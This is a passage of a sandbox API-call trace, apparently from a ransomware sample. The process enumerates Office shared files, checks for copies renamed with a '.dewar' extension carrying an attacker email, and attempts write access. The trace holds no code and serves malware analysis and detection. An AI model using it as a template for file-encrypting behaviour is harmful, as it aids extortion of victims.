tag\\1033\\stintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.260] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=13696) returned 1 [0238.260] CloseHandle (hObject=0x1e4) returned 1 [0238.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll")) returned 0x20 [0238.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll")) returned 0x20 [0238.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.262] SetEvent (hEvent=0x118) returned 1 [0238.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.267] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=123776) returned 1 [0238.267] CloseHandle (hObject=0x1e4) returned 1 [0238.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll")) returned 0x20 [0238.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll")) returned 0x20 [0238.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.268] SetEvent (hEvent=0x118) returned 1 [0238.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.270] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=98176) returned 1 [0238.270] CloseHandle (hObject=0x1e4) returned 1 [0238.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll")) returned 0x20 [0238.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll")) returned 0x20 [0238.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.275] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=217984) returned 1 [0238.275] CloseHandle (hObject=0x1e4) returned 1 [0238.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll")) returned 0x20 [0238.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll")) returned 0x20 [0238.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.280] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=181120) returned 1 [0238.280] CloseHandle (hObject=0x1e4) returned 1 [0238.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll")) returned 0x20 [0238.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll")) returned 0x20 [0238.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.284] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=159104) returned 1 [0238.284] CloseHandle (hObject=0x1e4) returned 1 [0238.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll")) returned 0x20 [0238.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll")) returned 0x20 [0238.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.297] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=234880) returned 1 [0238.297] CloseHandle (hObject=0x1e4) returned 1 [0238.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll")) returned 0x20 [0238.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll")) returned 0x20 [0238.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.298] SetEvent (hEvent=0x118) returned 1 [0238.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0238.628] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=101248) returned 1 [0238.629] CloseHandle (hObject=0x1e0) returned 1 [0238.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll")) returned 0x20 [0238.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll")) returned 0x20 [0238.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.630] SetEvent (hEvent=0x118) returned 1 [0238.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0238.872] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4587) returned 1 [0238.872] CloseHandle (hObject=0x200) returned 1 [0238.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0238.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0238.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.873] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.873] SetEvent (hEvent=0x118) returned 1 [0238.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0238.874] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4222) returned 1 [0238.875] CloseHandle (hObject=0x200) returned 1 [0238.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0238.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0238.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.002] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=152300) returned 1 [0239.002] CloseHandle (hObject=0x200) returned 1 [0239.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf")) returned 0x20 [0239.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf")) returned 0x20 [0239.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.003] SetEvent (hEvent=0x118) returned 1 [0239.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.004] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2209) returned 1 [0239.004] CloseHandle (hObject=0x200) returned 1 [0239.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg")) returned 0x20 [0239.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg")) returned 0x20 [0239.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.006] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4192) returned 1 [0239.006] CloseHandle (hObject=0x200) returned 1 [0239.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf")) returned 0x20 [0239.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf")) returned 0x20 [0239.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.010] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=26036) returned 1 [0239.010] CloseHandle (hObject=0x200) returned 1 [0239.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf")) returned 0x20 [0239.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf")) returned 0x20 [0239.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.011] SetEvent (hEvent=0x118) returned 1 [0239.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.020] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2950) returned 1 [0239.021] CloseHandle (hObject=0x200) returned 1 [0239.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg")) returned 0x20 [0239.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg")) returned 0x20 [0239.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.021] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.022] SetEvent (hEvent=0x118) returned 1 [0239.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.022] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=237) returned 1 [0239.023] CloseHandle (hObject=0x200) returned 1 [0239.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0239.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0239.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 